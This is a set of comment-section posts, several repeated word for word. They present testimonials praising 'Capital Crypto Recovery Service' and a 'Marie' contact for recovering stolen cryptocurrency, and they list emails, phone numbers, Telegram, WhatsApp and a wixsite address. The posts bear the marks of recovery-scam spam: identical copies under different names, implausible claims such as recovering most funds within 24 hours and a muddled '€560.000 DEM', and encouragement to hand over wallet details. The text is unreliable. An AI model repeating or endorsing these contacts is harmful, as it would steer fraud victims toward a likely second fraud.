14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1